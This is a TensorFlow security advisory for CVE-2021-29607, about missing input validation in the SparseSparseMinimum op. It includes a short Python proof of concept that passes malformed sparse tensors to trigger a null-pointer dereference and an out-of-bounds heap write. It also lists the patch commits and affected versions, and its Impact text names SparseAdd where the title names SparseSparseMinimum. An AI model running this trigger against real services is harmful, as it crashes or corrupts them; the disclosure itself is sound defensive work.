TFSA-2021-097: Incomplete validation in SparseSparseMinimum

CVE Number

CVE-2021-29607

Impact

Incomplete validation in SparseAdd results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:

import tensorflow as tf

a_indices = tf.ones([45, 92], dtype=tf.int64)
a_values = tf.ones([45], dtype=tf.int64)
a_shape = tf.ones([1], dtype=tf.int64)
b_indices = tf.ones([1, 1], dtype=tf.int64)
b_values = tf.ones([1], dtype=tf.int64)
b_shape = tf.ones([1], dtype=tf.int64)

tf.raw_ops.SparseSparseMinimum(a_indices=a_indices,
    a_values=a_values,
    a_shape=a_shape,
    b_indices=b_indices,
    b_values=b_values,
    b_shape=b_shape)

The implementation has a large set of validation for the two sparse tensor inputs (6 tensors in total), but does not validate that the tensors are not empty or that the second dimension of *_indices matches the size of corresponding *_shape. This allows attackers to send tensor triples that represent invalid sparse tensors to abuse code assumptions that are not protected by validation.

Patches

We have patched the issue in GitHub commit ba6822bd7b7324ba201a28b2f278c29a98edbef2 followed by GitHub commit f6fde895ef9c77d848061c0517f19d0ec2682f3a.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
